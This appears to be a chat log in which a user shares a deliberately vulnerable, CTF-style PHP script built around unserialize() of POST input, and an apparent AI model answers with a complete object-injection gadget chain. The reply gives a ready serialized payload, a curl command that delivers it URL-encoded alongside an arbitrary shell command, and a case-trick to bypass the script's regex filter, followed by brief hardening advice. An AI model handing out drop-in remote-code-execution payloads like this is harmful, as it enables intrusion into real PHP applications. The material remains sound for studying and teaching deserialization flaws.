<?php error_reporting(0); highlight_file(__FILE__...

创建于:2025年10月11日

使用 GPT-5 Thinking 回答 Chat01

问题

<?php error_reporting(0); highlight_file(__FILE__); class A { public $first; public $step; public $next; public function __construct() { $this->first = "继续加油!"; } public function start() { echo $this->next; } } class E { private $you; public $found; private $secret = "admin123"; public function __get($name){ if($name === "secret") { echo "<br>".$name." maybe is here!</br>"; $this->found->check(); } } } class F { public $fifth; public $step; public $finalstep; public function check() { if(preg_match("/U/",$this->finalstep)) { echo "仔细想想!"; } else { $this->step = new $this->finalstep(); ($this->step)(); } } } class H { public $who; public $are; public $you; public function __construct() { $this->you = "nobody"; } public function __destruct() { $this->who->start(); } } class N { public $congratulation; public $yougotit; public function __call(string $func_name, array $args) { return call_user_func($func_name,$args[0]); } } class U { public $almost; public $there; public $cmd; public function __construct() { $this->there = new N(); $this->cmd = $_POST['cmd']; } public function __invoke() { return $this->there->system($this->cmd); } } class V { public $good; public $keep; public $dowhat; public $go; public function __toString() { $abc = $this->dowhat; $this->go->$abc; return "<br>Win!!!</br>"; } } unserialize($_POST['payload']); ?>

思考

Considering PHP serialization

When serializing an object in PHP, it includes both public and private properties, even the private ones with default values. For the class E, we only need to include the properties we specify while serializing. If doing it manually, private properties should be included with the correct mangled names.

Crafting a serialized string

When creating a serialized string that only sets the 'found' property, PHP will still use defaults for other properties upon unserialization. Even though private properties with default values are included when serializing an instance, when manually crafting the string, we don't need to include them. PHP will keep any missing properties at their default values.

Unserialization behavior

When an object is unserialized in PHP, its constructor is not run. The properties are set based on what's in the serialized data, and any properties not listed are created with their default values. For private properties, if not provided, they may still default to null, depending on the class definition.

Handling private properties

In class E, private $secret = "admin123" has a default value, but we don't rely on it. We only need E->found to be defined. When V->__toString calls $this->go->$abc, it triggers the __get intercept for accessing private properties. This works because __get handles inaccessible properties. To simplify, we only include E->found, and for F, we set ‘finalstep’ to 'u’ without needing other properties like ‘step’ or ‘fifth’.

Thought for 1m 57s

回答

Nice little PHP object-injection/RCE puzzle. Here’s the shortest working chain and why it works, plus a ready-to-use serialized payload.

How the gadget chain pops RCE

  1. unserialize($_POST['payload']); lets us inject objects.
  2. We drop in an H object. On destruction, H::__destruct() calls $this->who->start();.
  3. Make who an A object. A::start() echoes $this->next, which triggers __toString() if next is an object.
  4. Set A->next to a V object. V::__toString() does:
    • $abc = $this->dowhat; (we’ll set this to "secret")
    • $this->go->$abc; → property access on $this->go with name secret, which triggers E::__get('secret') (because secret is private in E).
  5. In E::__get('secret'), it calls $this->found->check(); → so set E->found to an F object.
  6. F::check() creates a new class from $this->finalstep and immediately invokes it:
    php
    $this->step = new $this->finalstep(); ($this->step)(); // calls __invoke
    It only blocks if /U/ matches finalstep, so use lowercase 'u' (class names are case-insensitive in PHP; new 'u' instantiates class U).
  7. U::__construct() sets $this->there = new N(); $this->cmd = $_POST['cmd'];, and U::__invoke() returns $this->there->system($this->cmd).
  8. N::__call('system', [$cmd]) runs call_user_func('system', $cmd). Boom: RCE with whatever you sent in cmd.

Drop-in serialized payload

This payload wires up the exact chain above:

O:1:"H":3:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":1:{s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}}s:3:"are";N;s:3:"you";N;}

How to use (example)

Send both payload and a cmd you want to run:

bash
curl -X POST \ -d 'payload=O%3A1%3A%22H%22%3A3%3A%7Bs%3A3%3A%22who%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A5%3A%22first%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A4%3A%22next%22%3BO%3A1%3A%22V%22%3A4%3A%7Bs%3A4%3A%22good%22%3BN%3Bs%3A4%3A%22keep%22%3BN%3Bs%3A6%3A%22dowhat%22%3Bs%3A6%3A%22secret%22%3Bs%3A2%3A%22go%22%3BO%3A1%3A%22E%22%3A1%3A%7Bs%3A5%3A%22found%22%3BO%3A1%3A%22F%22%3A3%3A%7Bs%3A5%3A%22fifth%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A9%3A%22finalstep%22%3Bs%3A1%3A%22u%22%3B%7D%7D%7D%7Ds%3A3%3A%22are%22%3BN%3Bs%3A3%3A%22you%22%3BN%3B%7D' \ -d 'cmd=id' \ http://target.example/

(That payload= is just the URL-encoded version of the serialized string above. Change cmd= to whoami, ls, etc.)

Why lowercase u?

F::check() blocks any finalstep matching /U/ (uppercase). PHP class names are case-insensitive, so "u" bypasses the regex but still resolves to class U.

Quick hardening tips

If this is a real app (not a CTF), fix it asap:

  • Never unserialize() untrusted input. Use JSON (json_decode) for user data.
  • If you must deserialize, use unserialize($data, ['allowed_classes' => false]).
  • Avoid dangerous magic methods in exposed classes (__destruct, __toString, __wakeup, __call, __invoke) that can be chained.
  • Disable dangerous functions (system, exec, shell_exec, passthru) if not needed.
  • Add allowlists/guards and remove gadgets from the autoloaded codebase.

If you want, I can also generate a minimal PHP script that constructs this object graph and prints the serialized string for you to tweak.

分享这个问答